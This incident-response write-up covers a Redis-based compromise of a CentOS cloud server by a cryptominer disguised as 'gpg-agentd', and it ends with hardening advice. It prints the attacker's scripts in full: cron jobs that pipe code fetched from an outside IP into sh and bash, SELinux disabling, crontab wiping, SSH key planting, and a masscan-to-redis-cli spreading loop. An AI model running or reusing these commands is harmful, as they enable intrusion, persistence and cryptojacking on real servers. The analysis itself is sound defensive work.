How a Hidden gpg-agentd Malware Hijacked SSH and Exploited Redis on a Cloud Server

Investigation Timeline

On a Monday morning the author noticed a server could not be logged into. An operations colleague later confirmed the server had been frozen by Alibaba Cloud for "malicious outbound traffic".

Initial SSH attempts were rejected on port 22. After changing the port, the author connected as root using a short, insecure password and realized the server had been compromised.

Finding Clues

The compromised host ran CentOS 6.x with Nginx, Tomcat, Redis, etc. A full database backup was taken, and top showed two processes named gpg-agentd consuming 99% CPU.

Research showed that gpg-agent can provide SSH support, but the trailing "d" indicated a disguised malicious binary, similar to Windows "svchost.exe" tricks.

Analyzing Scripts

Several command snippets were examined:

ps eho command -p 23374
netstat -pan | grep 23374

The process with PID 23374 pointed to a hidden binary left by the attacker.

Two key questions emerged: how was the file uploaded, and what was its purpose?

History logs had been cleared, but the more messages command revealed a series of cron jobs that downloaded and executed scripts every 15 minutes. crontab -e The first malicious script was fetched: curl -fsSL 159.89.190.243/ash.php > ash.sh Its contents performed the following actions:

uname -a
id
hostname
setenforce 0 2 >/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2 >/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3... redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

The script disables SELinux, raises file descriptor limits, removes existing cron jobs, creates new ones that repeatedly fetch and execute remote code, and installs Bash if missing.

A second script was then downloaded and examined. It performed mass scanning with masscan, installed required packages, and manipulated Redis configuration to write an SSH public key into /root/.ssh/authorized_keys:

setenforce 0 2 >/dev/null
ulimit -n 50000
ulimit -u 50000
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
... (Redis config commands that write the public key) ...
masscan --max-rate 10000 -p6379,6380 ... | awk '{print $6, substr($4,1,length($4)-4)}' | sort | uniq > .shard
while read -r h p; do
  cat .dat | redis-cli -h $h -p $p --raw >/dev/null 2>&1 &
done < .shard

This allowed the attacker to gain password‑less SSH access and to launch further payloads.

Malware Functionality

The final script combined the previous steps, added more Redis configuration tweaks, and performed massive network scans across private address ranges (10/8, 172.16/12, 192.168/16) to locate additional vulnerable Redis instances.

It also wrote malicious commands into Redis databases, effectively turning compromised Redis servers into bots for cryptocurrency mining (evidenced by references to NiceHash and Bitcoin).

Security Recommendations

Server hardening :

Disable direct root login.

Use complex usernames and passwords.

Change the default SSH port from 22.

Deploy anti‑brute‑force tools such as DenyHosts.

Prefer key‑based SSH authentication and disable password login.

Redis hardening :

Do not bind Redis to public interfaces (avoid 0.0.0.0).

Enable password authentication.

Run Redis under a low‑privilege account.

By following these steps the risk of similar compromises can be greatly reduced.